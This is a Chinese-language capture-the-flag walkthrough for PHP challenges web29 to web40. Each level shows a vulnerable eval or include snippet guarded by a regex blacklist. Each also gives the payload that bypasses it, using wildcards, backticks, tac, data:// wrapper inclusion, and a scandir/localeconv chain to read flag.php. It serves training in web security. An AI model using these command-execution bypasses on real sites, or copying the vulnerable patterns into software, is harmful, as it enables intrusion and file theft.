web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>

过滤了flag字符串,可以使用通配符进行绕过,题目比较简单过程就不详述了。

payload

?c=system('cat fla*');			#查看源代码即可获得flag

web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

payload

?c=echo`cat fla*`;

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

payload

?c=echo`tac fla*`;

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\’|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
?>

payload

调用文件包含,使用伪协议读取flag

?c=$x=include$_GET[1]?>&1=data://text/plain,<?=`cat flag.php`?>

web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>

payload

同上

?c=$x=include$_GET[1]?>&1=data://text/plain,<?=`cat flag.php`?>

web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>

payload

同上

?c=$x=include$_GET[1]?>&1=data://text/plain,<?=`cat flag.php`?>

web35

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>

payload

?c=include$_GET[1]?>&1=data://text/plain,<?=`cat flag.php`?>

web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>

payload

?c=include$_GET[x]?>&x=data://text/plain,<?=`tac fla*`?>

web37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?>

payload

?c=data://text/plain,<?=`cat fla*`?>

web38

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

payload

同上

?c=data://text/plain,<?=`cat fla*`?>

web39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?>

payload

?c=data://text/plain,<?=`cat fla*`?>

web40

<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
  • 分析代码可以知道前面的方法基本都被过滤掉了,可以通过调用session_start()函数然后修改PHPSESSID值来执行命令,?c=session_start();system(session_id()),在利用过程中发现PHPSESSID必须为0-9,a-z,A-Z中的字符,到这里我也不会,就去看了下大佬的wp.

payload

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

用到的函数

  • array_reverse 逆序数组
  • next 指向数组的下一个元素
  • localeconv() 是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)
  • pos 返回数组中当前元素的值 pos(localeconv())=.
  • scandir 获取当前目录下文件 scandir(.)